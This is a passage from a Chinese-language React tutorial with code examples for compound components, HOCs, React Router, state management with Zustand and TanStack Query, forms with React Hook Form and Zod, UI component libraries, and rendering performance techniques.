  const { activeIndex } = useContext(TabsContext)
  return <div className="tab-panels">{children[activeIndex]}</div>
}

function TabPanel({ children }) {
  return <div className="tab-panel">{children}</div>
}

// 4. 使用:结构清晰,调用者不需要关心状态管理
function App() {
  return (
    <Tabs defaultIndex={0}>
      <TabList>
        <Tab index={0}>基本信息</Tab>
        <Tab index={1}>安全设置</Tab>
        <Tab index={2}>通知偏好</Tab>
      </TabList>
      <TabPanels>
        <TabPanel><ProfileForm /></TabPanel>
        <TabPanel><SecuritySettings /></TabPanel>
        <TabPanel><NotificationPrefs /></TabPanel>
      </TabPanels>
    </Tabs>
  )
}
复合组件的优势

相比把所有 props 都传给一个大组件,复合组件模式让调用者可以自由组合子组件的顺序和数量(比如条件渲染某个 Tab),同时父组件通过 Context 隐式管理共享状态。这是 React 组件库(如 Radix、Headless UI)的核心设计模式。

高阶组件(HOC)模式

// 高阶组件:接受一个组件,返回一个增强后的新组件
// 本质是一个函数:Component => EnhancedComponent

// 示例:权限控制 HOC
function withAuth(WrappedComponent) {
  return function AuthenticatedComponent(props) {
    const { user, loading } = useAuth() // 假设有这个 Hook

    if (loading) {
      return <div className="spinner">加载中...</div>
    }

    if (!user) {
      return <Navigate to="/login" />  // 未登录,跳转
    }

    // 已登录,渲染原组件,并注入 user prop
    return <WrappedComponent {...props} user={user} />
  }
}

// 使用
function Dashboard({ user }) {
  return <h1>欢迎回来,{user.name}</h1>
}
const ProtectedDashboard = withAuth(Dashboard)

// 在路由中使用
<Route path="/dashboard" element={<ProtectedDashboard />} />

// 示例:数据注入 HOC
function withFetch(url) {
  return function(WrappedComponent) {
    return function(props) {
      const [data, setData] = useState(null)
      const [loading, setLoading] = useState(true)

      useEffect(() => {
        fetch(url)
          .then(res => res.json())
          .then(data => { setData(data); setLoading(false) })
      }, [])

      if (loading) return <p>加载中...</p>
      return <WrappedComponent {...props} data={data} />
    }
  }
}

// 使用
const UserListWithData = withFetch('/api/users')(UserList)
HOC 的注意事项

HOC 在 2026 年已不是主流模式(自定义 Hook 更灵活),但仍有其场景:1)权限控制(withAuth);2)错误处理(withErrorBoundary);3)样式注入(withStyles)。使用 HOC 时注意:不要在 render 方法内调用 HOC(会导致组件卸载重建);用 displayName 便于调试(HOC.displayName = `withAuth(${Component.name})`);透传 ref 需要用 React.forwardRef。

14. 路由 React Router

单页应用(SPA)需要前端路由——不刷新页面的情况下切换"页面"。React Router 是 React 最流行的路由库。

一个类比

前端路由就像一栋大楼的楼层指示牌。你从 1 楼走到 3 楼(点击导航链接),大楼没有重建(页面没有刷新),但你看到的内容变了(组件切换了)。React Router 就是那个"楼层指示系统"——它根据 URL 决定显示哪个组件。

基本配置

// 安装:pnpm add react-router-dom

import { BrowserRouter, Routes, Route, Link } from 'react-router-dom'

function App() {
  return (
    <BrowserRouter>
      {/* 导航链接 */}
      <nav>
        <Link to="/">首页</Link>
        <Link to="/about">关于</Link>
        <Link to="/users">用户</Link>
      </nav>

      {/* 路由配置 */}
      <Routes>
        <Route path="/" element={<Home />} />
        <Route path="/about" element={<About />} />
        <Route path="/users" element={<Users />} />
        <Route path="/users/:id" element={<UserDetail />} />
        <Route path="*" element={<NotFound />} />  {/* 404 页面 */}
      </Routes>
    </BrowserRouter>
  )
}

动态路由与嵌套路由

import { useParams, Outlet, NavLink } from 'react-router-dom'

// 动态路由参数
function UserDetail() {
  const { id } = useParams()  // 获取 URL 中的 :id 参数
  return <h1>用户 {id} 的详情页</h1>
}

// 嵌套路由
function Users() {
  return (
    <div>
      <h1>用户管理</h1>
      <nav>
        <NavLink to="/users/list" className={({ isActive }) =>
          isActive ? 'active' : ''
        }>用户列表</NavLink>
        <NavLink to="/users/create">创建用户</NavLink>
      </nav>
      <Outlet />  {/* 子路由在这里渲染 */}
    </div>
  )
}

// 路由配置
<Route path="/users" element={<Users />}>
  <Route path="list" element={<UserList />} />
  <Route path="create" element={<CreateUser />} />
  <Route path=":id" element={<UserDetail />} />
</Route>

路由守卫与重定向

// 路由守卫:需要登录才能访问的页面
function ProtectedRoute({ children }) {
  const { isLoggedIn } = useAuth()  // 自定义 Hook

  if (!isLoggedIn) {
    return <Navigate to="/login" replace />
  }

  return children
}

// 使用
<Route path="/dashboard" element={
  <ProtectedRoute>
    <Dashboard />
  </ProtectedRoute>
} />

// 编程式导航
function LoginPage() {
  const navigate = useNavigate()

  const handleLogin = async () => {
    await login(username, password)
    navigate('/dashboard')  // 登录成功后跳转
    // navigate(-1)  // 返回上一页
  }

  return <button onClick={handleLogin}>登录</button>
}

路由懒加载

import { lazy, Suspense } from 'react'

// 路由懒加载:访问时才加载对应组件的 JS 文件
const Dashboard = lazy(() => import('./pages/Dashboard'))
const UserList = lazy(() => import('./pages/UserList'))

function App() {
  return (
    <Suspense fallback={<div>加载中...</div>}>
      <Routes>
        <Route path="/dashboard" element={<Dashboard />} />
        <Route path="/users" element={<UserList />} />
      </Routes>
    </Suspense>
  )
}

// 首次加载只下载当前页面的代码,其他页面的代码按需加载
// 大幅减少首屏加载时间

useSearchParams 查询参数管理

import { useSearchParams } from 'react-router-dom'

function ProductList() {
  const [searchParams, setSearchParams] = useSearchParams()
  const keyword = searchParams.get('keyword') || ''
  const page = Number(searchParams.get('page')) || 1

  // 更新查询参数(URL 变为 ?keyword=手机&page=2)
  const handleSearch = (text) => {
    setSearchParams({ keyword: text, page: 1 })
  }

  return (
    <div>
      <input value={keyword} onChange={(e) => handleSearch(e.target.value)} />
      <p>搜索:{keyword},第 {page} 页</p>
    </div>
  )
}
// URL 示例:/products?keyword=手机&page=2
// 适合搜索、筛选、分页等场景——参数自动同步到 URL,可分享、可刷新

useNavigate 传递 state

import { useNavigate, useLocation } from 'react-router-dom'

// 跳转时携带 state(不会出现在 URL 中)
function Login() {
  const navigate = useNavigate()
  const handleLogin = () => {
    navigate('/dashboard', { state: { from: '/login', userName: '小明' } })
  }
}

// 在目标页面读取 state
function Dashboard() {
  const location = useLocation()
  const { from, userName } = location.state || {}
  return <p>欢迎 {userName},你来自 {from}</p>
}
// state 数据不会暴露在 URL 中,适合传递临时数据(如来源页面、表单快照)

Data Loaders 与 Actions(v6.4+)

import { createBrowserRouter, RouterProvider, useLoaderData } from 'react-router-dom'

// loader:路由渲染前自动获取数据(替代 useEffect + useState)
async function userLoader({ params }) {
  const res = await fetch(`/api/users/${params.id}`)
  if (!res.ok) throw new Response('用户不存在', { status: 404 })
  return res.json()
}

// action:处理表单提交(替代 onSubmit)
async function createUserAction({ request }) {
  const formData = await request.formData()
  const name = formData.get('name')
  await fetch('/api/users', { method: 'POST', body: JSON.stringify({ name }) })
  return redirect('/users')
}

function UserProfile() {
  const user = useLoaderData()  // 直接拿到 loader 返回的数据
  return <h1>{user.name}</h1>
}

const router = createBrowserRouter([
  {
    path: '/users/:id',
    element: <UserProfile />,
    loader: userLoader,
    action: createUserAction,
  }
])

errorElement 路由级错误处理

import { useRouteError, isRouteErrorResponse } from 'react-router-dom'

function RouteErrorBoundary() {
  const error = useRouteError()

  if (isRouteErrorResponse(error)) {
    // loader/action 中 throw 的 Response
    return <h1>{error.status}: {error.statusText}</h1>
  }
  return <h1>发生了未知错误</h1>
}

const router = createBrowserRouter([
  {
    path: '/users/:id',
    element: <UserProfile />,
    loader: userLoader,
    errorElement: <RouteErrorBoundary />,  // 当前路由出错时显示
  }
])
// errorElement 精确捕获单个路由的错误,不影响其他路由渲染
React Router v7 变化

React Router v7 引入了 Remix 的数据加载模式(loader/action),让路由不只是"显示组件",还能"获取数据"。但基础用法不变——先掌握上面的基础,再学高级特性。

15. 状态管理

当应用变复杂时,组件之间的数据共享变得困难。状态管理库帮你解决"数据放在哪里、怎么共享"的问题。

一个类比

状态管理就像公司的公告板。小团队(简单应用)口头传话就行(Props 传递)。大团队(复杂应用)需要一个公告板(状态管理库),所有人都能看到最新消息,不用一层一层传话。

状态管理方案对比

方案适用场景复杂度特点
Props 传递父子组件简单传值最低React 原生,无需额外库
Context全局主题、语言、用户信息低React 原生,适合低频更新
Zustand中小型到大型应用低API 极简,无样板代码
Jotai原子化状态低按需订阅,性能好
Redux Toolkit大型复杂应用中生态成熟,DevTools 强大

Context API

// Context 适合全局数据(主题、语言、用户信息)
import { createContext, useContext, useState } from 'react'

// 1. 创建 Context
const ThemeContext = createContext()

// 2. 创建 Provider
function ThemeProvider({ children }) {
  const [theme, setTheme] = useState('light')
  const toggleTheme = () => setTheme(t => t === 'light' ? 'dark' : 'light')

  return (
    <ThemeContext.Provider value={{ theme, toggleTheme }}>
      {children}
    </ThemeContext.Provider>
  )
}

// 3. 使用
function App() {
  return (
    <ThemeProvider>
      <Header />
      <Content />
    </ThemeProvider>
  )
}

function Header() {
  const { theme, toggleTheme } = useContext(ThemeContext)
  return (
    <header className={theme}>
      <button onClick={toggleTheme}>切换主题</button>
    </header>
  )
}

Zustand:极简状态管理

// 安装:pnpm add zustand
import { create } from 'zustand'

// 1. 创建 Store
const useUserStore = create((set) => ({
  user: null,
  isLoggedIn: false,
  login: (user) => set({ user, isLoggedIn: true }),
  logout: () => set({ user: null, isLoggedIn: false }),
  updateName: (name) => set((state) => ({
    user: { ...state.user, name }
  }))
}))

// 2. 在组件中使用
function Header() {
  const { user, isLoggedIn, logout } = useUserStore()

  return isLoggedIn
    ? <div>欢迎 {user.name} <button onClick={logout}>退出</button></div>
    : <Link to="/login">登录</Link>
}

function Profile() {
  const user = useUserStore(state => state.user)  // 选择性订阅
  const updateName = useUserStore(state => state.updateName)

  return (
    <div>
      <input value={user.name} onChange={e => updateName(e.target.value)} />
    </div>
  )
}
2026 年推荐

新项目首选 Zustand——API 极简(没有 Provider、没有 Reducer、没有 Action),学习成本最低,性能最好。如果项目特别大(50+ 个全局状态),可以考虑 Redux Toolkit。Context 适合简单的全局数据(主题、语言),不要用它管复杂状态(性能问题)。

Context 的性能陷阱

Context 的 value 一变,所有消费该 Context 的组件都会重新渲染,即使它们只用了其中一个字段:

// ❌ 问题:theme 或 user 任意一个变化,所有消费者都重渲染
function AppProvider({ children }) {
  const [theme, setTheme] = useState('light')
  const [user, setUser] = useState(null)

  // 每次 render 都创建新对象 → 所有消费者重渲染
  const value = { theme, setTheme, user, setUser }

  return <AppContext.Provider value={value}>{children}</AppContext.Provider>
}

拆分 Context 避免不必要重渲染

// ✅ 将不同职责拆成独立 Context
const ThemeContext = createContext()
const UserContext = createContext()

function AppProvider({ children }) {
  const [theme, setTheme] = useState('light')
  const [user, setUser] = useState(null)

  return (
    <ThemeContext.Provider value={{ theme, setTheme }}>
      <UserContext.Provider value={{ user, setUser }}>
        {children}
      </UserContext.Provider>
    </ThemeContext.Provider>
  )
}

// 只用 theme 的组件不会因 user 变化而重渲染
function ThemeToggle() {
  const { theme, setTheme } = useContext(ThemeContext)
  return <button onClick={() => setTheme(t => t === 'light' ? 'dark' : 'light')}>{theme}</button>
}

服务端状态 vs 客户端状态

2026 年的状态管理有一个重要共识:服务端数据不是传统的"状态",它有缓存、过期、后台刷新等特殊需求,应该用专门的工具管理。

维度客户端状态服务端状态
来源用户输入、UI 控制API 返回的数据
拥有者前端后端(前端只是缓存)
同步性同步,随时可变异步,可能过期
工具Zustand、Redux、ContextTanStack Query(React Query)
// TanStack Query:专注服务端状态管理
import { useQuery } from '@tanstack/react-query'

function UserProfile({ userId }) {
  const { data, isLoading, error } = useQuery({
    queryKey: ['user', userId],
    queryFn: () => fetch(`/api/users/${userId}`).then(r => r.json()),
    staleTime: 5 * 60 * 1000,  // 5 分钟内视为新鲜,不重新请求
    gcTime: 10 * 60 * 1000,    // 10 分钟后清除缓存
  })

  if (isLoading) return <Spinner />
  return <h1>{data.name}</h1>
}

// 客户端状态仍然用 Zustand 管理
const useUIStore = create(set => ({
  sidebarOpen: false,
  toggleSidebar: () => set(s => ({ sidebarOpen: !s.sidebarOpen })),
}))
不要用 Context 管理服务端数据

用 useEffect + useState + Context 管理 API 数据是 2020 年的老做法。TanStack Query 自带缓存、去重、后台刷新、乐观更新、错误重试,自己造轮子不仅代码量大,还容易出 bug。

16. 表单处理

表单是前端最常见也最复杂的交互场景。React 中表单处理有两种方式:受控和非受控。

React Hook Form:最佳表单库

// 安装:pnpm add react-hook-form zod @hookform/resolvers
import { useForm } from 'react-hook-form'
import { z } from 'zod'
import { zodResolver } from '@hookform/resolvers/zod'

// 定义校验规则
const schema = z.object({
  name: z.string().min(2, '姓名至少 2 个字符'),
  email: z.string().email('请输入有效的邮箱'),
  age: z.number().min(1).max(150).optional(),
  password: z.string().min(8, '密码至少 8 位'),
  confirmPassword: z.string()
}).refine(data => data.password === data.confirmPassword, {
  message: '两次密码不一致',
  path: ['confirmPassword']
})

function RegisterForm() {
  const { register, handleSubmit, formState: { errors, isSubmitting } } = useForm({
    resolver: zodResolver(schema)
  })

  const onSubmit = async (data) => {
    await fetch('/api/register', {
      method: 'POST',
      body: JSON.stringify(data)
    })
  }

  return (
    <form onSubmit={handleSubmit(onSubmit)}>
      <div>
        <label>姓名</label>
        <input {...register('name')} />
        {errors.name && <span className="error">{errors.name.message}</span>}
      </div>

      <div>
        <label>邮箱</label>
        <input {...register('email')} />
        {errors.email && <span className="error">{errors.email.message}</span>}
      </div>

      <div>
        <label>密码</label>
        <input type="password" {...register('password')} />
        {errors.password && <span className="error">{errors.password.message}</span>}
      </div>

      <button type="submit" disabled={isSubmitting}>
        {isSubmitting ? '注册中...' : '注册'}
      </button>
    </form>
  )
}
为什么推荐 React Hook Form

1)性能好——用非受控模式,不会每次输入都触发重新渲染;2)代码少——{...register('name')} 一行搞定;3)校验强——配合 Zod 实现类型安全的校验;4)生态好——支持所有 UI 库(Ant Design、shadcn/ui)。

多步骤表单 / Wizard 模式

// 多步骤表单:用状态驱动当前步骤,逐步收集数据
function WizardForm() {
  const [step, setStep] = useState(0)
  const methods = useForm({ mode: 'onBlur' })
  const { handleSubmit, trigger } = methods

  const stepsConfig = [
    { fields: ['name', 'email'], component: <BasicInfo /> },
    { fields: ['address', 'city'], component: <Address /> },
    { fields: [], component: <Confirm /> },
  ]

  const next = async () => {
    const valid = await trigger(stepsConfig[step].fields)
    if (valid) setStep(s => s + 1)
  }

  return (
    <FormProvider {...methods}>
      <form onSubmit={handleSubmit(onSubmit)}>
        <StepIndicator current={step} total={3} />
        {stepsConfig[step].component}
        <div className="wizard-nav">
          {step > 0 && <button type="button" onClick={() => setStep(s => s - 1)}>上一步</button>}
          {step < 2 ? <button type="button" onClick={next}>下一步</button>
                    : <button type="submit">提交</button>}
        </div>
      </form>
    </FormProvider>
  )
}

动态表单字段(增删)

// 动态增减字段:useFieldArray
import { useFieldArray, useFormContext } from 'react-hook-form'

function DynamicMembers() {
  const { control, register } = useFormContext()
  const { fields, append, remove } = useFieldArray({ control, name: 'members' })

  return (
    <div>
      {fields.map((field, index) => (
        <div key={field.id} className="field-row">
          <input {...register(`members.${index}.name`)} placeholder="姓名" />
          <input {...register(`members.${index}.email`)} placeholder="邮箱" />
          {fields.length > 1 &&
            <button type="button" onClick={() => remove(index)}>删除</button>}
        </div>
      ))}
      <button type="button" onClick={() => append({ name: '', email: '' })}>+ 添加成员</button>
    </div>
  )
}

文件上传表单

// 文件上传:用 FormData 而不是 JSON
function ProfileForm() {
  const { register, handleSubmit } = useForm()

  const onSubmit = async (data) => {
    const formData = new FormData()
    formData.append('name', data.name)
    formData.append('avatar', data.avatar[0])  // FileList → File
    await fetch('/api/profile', { method: 'POST', body: formData })
  }

  return (
    <form onSubmit={handleSubmit(onSubmit)} encType="multipart/form-data">
      <input {...register('name')} placeholder="昵称" />
      <input type="file" {...register('avatar')} accept="image/*" />
      <button type="submit">上传</button>
    </form>
  )
}

表单状态持久化

// 跨页面保持表单数据:存入 sessionStorage
function usePersistForm(key, methods) {
  const { watch, reset } = methods

  // 页面加载时恢复
  useEffect(() => {
    const saved = sessionStorage.getItem(key)
    if (saved) reset(JSON.parse(saved))
  }, [key, reset])

  // 数据变化时保存(防抖 500ms)
  useEffect(() => {
    const sub = watch((data) => {
      const timer = setTimeout(() => {
        sessionStorage.setItem(key, JSON.stringify(data))
      }, 500)
      return () => clearTimeout(timer)
    })
    return () => sub.unsubscribe()
  }, [key, watch])
}

// 使用
const methods = useForm()
usePersistForm('checkout-form', methods)
表单进阶提示

1)多步骤表单用 <code>trigger(fields[])</code> 只校验当前步骤,避免提前报错;2)<code>useFieldArray</code> 的 <code>field.id</code> 是稳定的 key,增删不会导致全量重渲染;3)文件上传必须用 <code>FormData</code>,不能用 JSON;4)持久化建议用 <code>sessionStorage</code> 而非 <code>localStorage</code>,关闭标签页自动清除更安全。

17. 数据请求与缓存

前端应用的核心工作之一就是从后端获取数据。TanStack Query(React Query)是 React 生态中最流行的数据请求库。

TanStack Query

// 安装:pnpm add @tanstack/react-query
import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'

// 获取数据
function UserList() {
  const { data: users, isLoading, error } = useQuery({
    queryKey: ['users'],         // 缓存的 key
    queryFn: () => fetch('/api/users').then(r => r.json()),
    staleTime: 5 * 60 * 1000,   // 5 分钟内认为数据是新鲜的
    gcTime: 10 * 60 * 1000,     // 10 分钟后清除缓存
  })

  if (isLoading) return <p>加载中...</p>
  if (error) return <p>出错了:{error.message}</p>

  return (
    <ul>
      {users.map(user => <li key={user.id}>{user.name}</li>)}
    </ul>
  )
}

// 创建/更新/删除数据
function CreateUser() {
  const queryClient = useQueryClient()

  const mutation = useMutation({
    mutationFn: (newUser) =>
      fetch('/api/users', { method: 'POST', body: JSON.stringify(newUser) }),
    onSuccess: () => {
      // 成功后重新获取用户列表(自动更新 UI)
      queryClient.invalidateQueries({ queryKey: ['users'] })
    }
  })

  return (
    <button onClick={() => mutation.mutate({ name: '张三' })}>
      {mutation.isPending ? '创建中...' : '创建用户'}
    </button>
  )
}

带参数的查询

// 查询参数变化时自动重新获取
function UserDetail({ userId }) {
  const { data: user } = useQuery({
    queryKey: ['users', userId],
    queryFn: () => fetch(`/api/users/${userId}`).then(r => r.json()),
    enabled: !!userId  // userId 存在时才发请求
  })

  return user ? <h1>{user.name}</h1> : null
}

// 分页查询
function UserList({ page }) {
  const { data, isLoading } = useQuery({
    queryKey: ['users', page],
    queryFn: () => fetch(`/api/users?page=${page}`).then(r => r.json()),
    placeholderData: (prev) => prev  // 翻页时保留上一页数据
  })

  return isLoading ? <p>加载中...</p> : <UserTable data={data} />
}
TanStack Query 的核心价值

它不只是"发请求"——它自动帮你处理了:缓存(相同请求不重复发)、后台刷新(页面重新聚焦时更新数据)、乐观更新(先更新 UI 再发请求)、错误重试、加载状态管理。这些自己实现需要几百行代码,TanStack Query 几行搞定。

乐观更新

// 乐观更新:先更新 UI,再发请求;失败则回滚
const queryClient = useQueryClient()

const mutation = useMutation({
  mutationFn: (newTodo) => fetch('/api/todos', {
    method: 'POST', body: JSON.stringify(newTodo)
  }),
  onMutate: async (newTodo) => {          // 请求发出前,立即更新缓存
    await queryClient.cancelQueries({ queryKey: ['todos'] })
    const previous = queryClient.getQueryData(['todos'])
    queryClient.setQueryData(['todos'], (old) => [...old, { ...newTodo, id: Date.now() }])
    return { previous }                     // 回滚用的快照
  },
  onError: (_err, _newTodo, context) => {   // 请求失败,回滚到之前的数据
    queryClient.setQueryData(['todos'], context.previous)
  },
  onSettled: () => {                        // 无论成功失败,最终用服务端数据同步
    queryClient.invalidateQueries({ queryKey: ['todos'] })
  }
})

useInfiniteQuery 无限滚动

function Feed() {
  const { data, fetchNextPage, hasNextPage, isFetchingNextPage } = useInfiniteQuery({
    queryKey: ['feed'],
    queryFn: ({ pageParam = 1 }) =>
      fetch(`/api/feed?page=${pageParam}`).then(r => r.json()),
    getNextPageParam: (lastPage) => lastPage.nextCursor  // null 表示没有下一页
  })

  return (
    <div>
      {data?.pages.map(page =>
        page.items.map(item => <FeedItem key={item.id} item={item} />)
      )}
      <button onClick={() => fetchNextPage()} disabled={!hasNextPage}>
        {isFetchingNextPage ? '加载中...' : hasNextPage ? '加载更多' : '没有了'}
      </button>
    </div>
  )
}

预取与依赖查询

// 预取:鼠标悬停时提前加载,点击时已有缓存
function UserList({ users }) {
  const queryClient = useQueryClient()
  return users.map(user => (
    <Link to={`/users/${user.id}`}
      onMouseEnter={() => queryClient.prefetchQuery({
        queryKey: ['users', user.id],
        queryFn: () => fetch(`/api/users/${user.id}`).then(r => r.json()),
        staleTime: 60_000
      })}
    >{user.name}</Link>
  ))
}

// 依赖查询:第二个请求依赖第一个的结果
function UserPosts({ userId }) {
  const { data: user } = useQuery({
    queryKey: ['users', userId],
    queryFn: () => fetch(`/api/users/${userId}`).then(r => r.json())
  })
  const { data: posts } = useQuery({
    queryKey: ['posts', user?.teamId],
    queryFn: () => fetch(`/api/teams/${user.teamId}/posts`).then(r => r.json()),
    enabled: !!user?.teamId  // user 加载完才发请求
  })
}

18. UI 组件库

从零写所有 UI 组件太慢了。UI 组件库提供现成的按钮、表单、表格、弹窗等组件,让你专注业务逻辑而不是重复造轮子。

主流 UI 库对比

库风格定制性适合
Ant Design企业级、功能丰富中等中后台管理系统
shadcn/ui现代、极简最高任何项目(推荐)
MUI (Material UI)Google Material Design高面向消费者的产品
Radix UI无样式、完全可定制最高需要完全自定义设计

shadcn/ui 使用方式

# shadcn/ui 不是传统的 npm 包,而是把组件代码复制到你的项目中
# 这意味着你完全拥有代码,可以自由修改

npx shadcn@latest init
npx shadcn@latest add button
npx shadcn@latest add input
npx shadcn@latest add dialog
npx shadcn@latest add table
npx shadcn@latest add form

# 使用
import { Button } from '@/components/ui/button'
import { Input } from '@/components/ui/input'

function MyForm() {
  return (
    <div>
      <Input placeholder="请输入用户名" />
      <Button variant="default">提交</Button>
      <Button variant="outline">取消</Button>
      <Button variant="destructive">删除</Button>
    </div>
  )
}

// shadcn/ui 的变体系统
// variant:按钮风格(default, outline, ghost, destructive, link)
// size:按钮大小(default, sm, lg, icon)
<Button variant="outline" size="sm">小按钮</Button>

Ant Design(中后台首选)

# 安装
pnpm add antd @ant-design/icons

import { Button, Table, Form, Input, DatePicker, message } from 'antd'
import { SearchOutlined, PlusOutlined } from '@ant-design/icons'

// 表格(Ant Design 最强的组件)
const columns = [
  { title: '姓名', dataIndex: 'name', sorter: (a, b) => a.name.localeCompare(b.name) },
  { title: '年龄', dataIndex: 'age', filters: [{ text: '18+', value: '18' }] },
  { title: '操作', render: (_, record) => <Button onClick={() => edit(record)}>编辑</Button> }
]
<Table dataSource={users} columns={columns} pagination={{ pageSize: 10 }} />

// 表单
<Form onFinish={handleSubmit}>
  <Form.Item name="name" rules={[{ required: true, message: '请输入姓名' }]}>
    <Input />
  </Form.Item>
  <Form.Item name="birthday">
    <DatePicker />
  </Form.Item>
  <Button type="primary" htmlType="submit">提交</Button>
</Form>

shadcn/ui 主题与定制机制

# 初始化 shadcn/ui(不是安装为依赖,而是把组件代码复制到你的项目中)
pnpm dlx shadcn@latest init

# 组件安装后直接出现在 src/components/ui/ 目录下
pnpm dlx shadcn@latest add button card dialog

// 主题定制:通过 CSS 变量控制全局风格
// 在 globals.css 中修改即可:
:root {
  --background: 0 0% 100%;        /* 背景色 */
  --foreground: 222.2 84% 4.9%;   /* 前景色 */
  --primary: 222.2 47.4% 11.2%;   /* 主色 */
  --radius: 0.5rem;               /* 圆角大小 */
}

// 也可以用 Tailwind 的 tailwind.config.js 扩展主题
// shadcn 的组件源码就在你的项目里,可以自由修改任何组件

Tailwind CSS 与 shadcn 的集成

// shadcn/ui 底层完全依赖 Tailwind CSS,组件样式用 Tailwind 类名编写
import { Button } from '@/components/ui/button'

// 直接用 Tailwind 类覆盖或扩展样式
<Button className="mt-4 bg-blue-600 hover:bg-blue-700 shadow-lg">
  自定义按钮
</Button>

// shadcn 组件支持 className prop,和 Tailwind 完美配合
<Card className="max-w-sm mx-auto border-2 border-dashed">
  <CardContent className="p-6 text-center">
    Tailwind + shadcn = 快速开发
  </CardContent>
</Card>
// Tailwind 负责布局和微调,shadcn 负责组件逻辑和无障碍

无头 UI 库(Headless UI、Radix)

// 无头 UI 库:只提供行为和无障碍,不带样式,你完全控制外观
// 适合需要高度自定义设计的项目

// Radix Primitives(shadcn/ui 的底层)
import * as Dialog from '@radix-ui/react-dialog'
<Dialog.Root>
  <Dialog.Trigger className="btn">打开</Dialog.Trigger>
  <Dialog.Content className="dialog-content">
    <Dialog.Title>标题</Dialog.Title>
    <Dialog.Close />
  </Dialog.Content>
</Dialog.Root>

// Headless UI(Tailwind 官方团队出品)
import { Dialog, Transition } from '@headlessui/react'
// 自动处理焦点管理、键盘导航、ARIA 属性
// 你只管写样式,行为逻辑全部帮你搞定

CSS-in-JS vs Utility CSS 对比

// CSS-in-JS(styled-components / Emotion)—— 用 JS 写样式
const Card = styled.div`
  padding: 1rem;
  border-radius: 8px;
  box-shadow: 0 2px 8px rgba(0,0,0,0.1);
`
// 优点:动态样式方便、作用域天然隔离
// 缺点:运行时开销、SSR 复杂、2024 年后生态萎缩

// Utility CSS(Tailwind CSS)—— 用原子类组合
<div class="p-4 rounded-lg shadow-md">...</div>
// 优点:零运行时、CSS 体积小、和 shadcn 等生态配合好
// 缺点:类名长、需要熟悉工具类

// 2026 年趋势:Tailwind + shadcn/ui 已成为主流方案
// CSS-in-JS 逐渐被 Tailwind 或 CSS Modules 替代
2026 年推荐

新项目首选 shadcn/ui——基于 Radix UI 和 Tailwind CSS,组件代码在你的项目中(不是 node_modules),可以自由修改。中后台项目可以用 Ant Design——开箱即用,表格、表单、日期选择器等复杂组件质量很高。

19. React 性能优化

React 默认已经很快了,但在大型应用中仍可能遇到性能问题。这一章介绍常见的优化手段。

不必要的重新渲染

// 问题:父组件更新,所有子组件都会重新渲染
function Parent() {
  const [count, setCount] = useState(0)

  return (
    <div>
      <button onClick={() => setCount(c => c + 1)}>{count}</button>
      <ExpensiveChild />  {/* 每次 count 变化,这里都会重新渲染 */}
    </div>
  )
}

// 解决方案 1:React.memo(缓存组件)
const ExpensiveChild = React.memo(() => {
  console.log('ExpensiveChild 渲染了')  // 只在 props 变化时打印
  return <div>我是昂贵的子组件</div>
})

// 解决方案 2:把 state 下移
function Parent() {
  return (
    <div>
      <Counter />          {/* state 在 Counter 内部,不影响其他组件 */}
      <ExpensiveChild />
    </div>
  )
}

function Counter() {
  const [count, setCount] = useState(0)
  return <button onClick={() => setCount(c => c + 1)}>{count}</button>
}

代码分割与懒加载

// 路由级别懒加载(最常用)
const Dashboard = lazy(() => import('./pages/Dashboard'))
const Settings = lazy(() => import('./pages/Settings'))

// 组件级别懒加载
const HeavyChart = lazy(() => import('./components/HeavyChart'))

function Analytics() {
  const [showChart, setShowChart] = useState(false)

  return (
    <div>
      <button onClick={() => setShowChart(true)}>显示图表</button>
      {showChart && (
        <Suspense fallback={<div>图表加载中...</div>}>
          <HeavyChart />
        </Suspense>
      )}
    </div>
  )
}

虚拟列表

// 问题:渲染 10000 个列表项,页面卡顿
// 解决:只渲染可见区域的元素(虚拟滚动)

// 安装:pnpm add @tanstack/react-virtual
import { useVirtualizer } from '@tanstack/react-virtual'

function VirtualList({ items }) {
  const parentRef = useRef(null)

  const virtualizer = useVirtualizer({
    count: items.length,
    getScrollElement: () => parentRef.current,
    estimateSize: () => 50,  // 每项高度估计 50px
  })

  return (
    <div ref={parentRef} style={{ height: '400px', overflow: 'auto' }}>
      <div style={{ height: virtualizer.getTotalSize() }}>
        {virtualizer.getVirtualItems().map(virtualRow => (
          <div key={virtualRow.key} style={{
            position: 'absolute',
            top: virtualRow.start,
            height: virtualRow.size,
            width: '100%'
          }}>
            {items[virtualRow.index].name}
          </div>
        ))}
      </div>
    </div>
  )
}

// 10000 个元素,只渲染可见的 20 个,性能从卡顿变流畅
性能优化的优先级

1)先用 React DevTools Profiler 找出真正慢的组件(不要凭感觉优化);2)优先优化渲染次数(memo、状态下沉);3)然后优化渲染内容(懒加载、虚拟列表);4)最后优化计算(useMemo)。记住:过早优化是万恶之源。

useTransition:非阻塞状态更新

// 大量数据更新时,React 默认会阻塞输入等高优先级操作
// useTransition 把更新标记为"低优先级",让 UI 保持响应

import { useState, useTransition } from 'react'

function SearchList({ items }) {
  const [query, setQuery] = useState('')
  const [filtered, setFiltered] = useState(items)
  const [isPending, startTransition] = useTransition()

  const handleChange = (e) => {
    const value = e.target.value
    setQuery(value)                // 高优先级:输入框立刻响应

    startTransition(() => {
      // 低优先级:列表过滤可以稍后更新
      setFiltered(items.filter(item =>
        item.name.toLowerCase().includes(value.toLowerCase())
      ))
    })
  }

  return (
    <div>
      <input value={query} onChange={handleChange} />
      {isPending && <p>更新中...</p>}
      <ul>
        {filtered.map(item => <li key={item.id}>{item.name}</li>)}
      </ul>
    </div>
  )
}

useDeferredValue:延迟渲染

// useDeferredValue 是 useTransition 的"值版本"
// 它返回一个延迟更新的值,让紧急渲染先完成

import { useState, useDeferredValue, useMemo } from 'react'

function FilterableList({ items }) {
  const [query, setQuery] = useState('')
  const deferredQuery = useDeferredValue(query)  // 延迟版本的 query

  // 用 deferredQuery 而非 query 做过滤
  const filtered = useMemo(() =>
    items.filter(item => item.name.includes(deferredQuery)),
    [items, deferredQuery]
  )

  const isStale = query !== deferredQuery  // 输入和渲染不一致时

  return (
    <div>
      <input value={query} onChange={e => setQuery(e.target.value)} />
      <div style={{ opacity: isStale ? 0.6 : 1 }}>
        {filtered.map(item => <div key={item.id}>{item.name}</div>)}
      </div>
    </div>
  )
}

// 适用场景:搜索框、大列表过滤、图表数据切换
// 与 useTransition 区别:useTransition 控制"更新",useDeferredValue 控制"值"

React Compiler:自动记忆化

// React 19 推出 React Compiler(原名 React Forget)
// 它在编译时自动添加 memo/useMemo/useCallback,无需手动优化

// ❌ 以前需要手动优化
const MemoChild = React.memo(Child)
